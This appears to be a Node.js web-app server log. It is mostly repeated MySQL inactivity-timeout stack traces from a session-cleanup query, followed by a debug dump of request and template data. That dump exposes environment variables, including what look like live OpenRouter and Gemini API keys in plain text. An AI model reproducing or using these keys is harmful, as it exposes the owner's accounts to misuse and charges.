    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 23:23:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 23:31:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 23:31:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-28 23:53:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-28 23:53:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 00:05:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 00:05:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 00:36:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 00:36:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 00:54:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 00:54:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 00:55:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 00:55:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 01:13:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 01:13:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 01:32:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 01:32:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 01:34:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 01:34:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 03:37:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 03:37:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 03:40:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 03:40:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 04:29:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 04:29:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 05:05:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 05:05:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 05:45:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 05:45:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 07:41:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 07:41:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 08:28:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 08:28:11' as DATETIME)"
}
2025-12-29T08:46:15.616Z server-connect:router Serving templateView /
2025-12-29T08:46:15.618Z server-connect:app Executing action step identify
2025-12-29T08:46:15.618Z server-connect:app options: { provider: 'security' }
2025-12-29T08:46:15.618Z server-connect:auth No login cookie found
2025-12-29T08:46:15.618Z server-connect:output identity: false
2025-12-29T08:46:15.619Z server-connect:app Executing action step restrict
2025-12-29T08:46:15.619Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T08:46:15.619Z server-connect:output restrict: undefined
2025-12-29T08:46:16.006Z server-connect:router Serving templateView /login
2025-12-29T08:46:16.006Z server-connect:app Executing action step identify
2025-12-29T08:46:16.006Z server-connect:app options: { provider: 'security' }
2025-12-29T08:46:16.006Z server-connect:auth No login cookie found
2025-12-29T08:46:16.006Z server-connect:output identity: false
2025-12-29T08:46:16.006Z server-connect:router Render template layouts/authentication
2025-12-29T08:46:16.007Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.29',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-30T08:46:16.005Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.29',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.29',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 08:53:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 08:53:11' as DATETIME)"
}
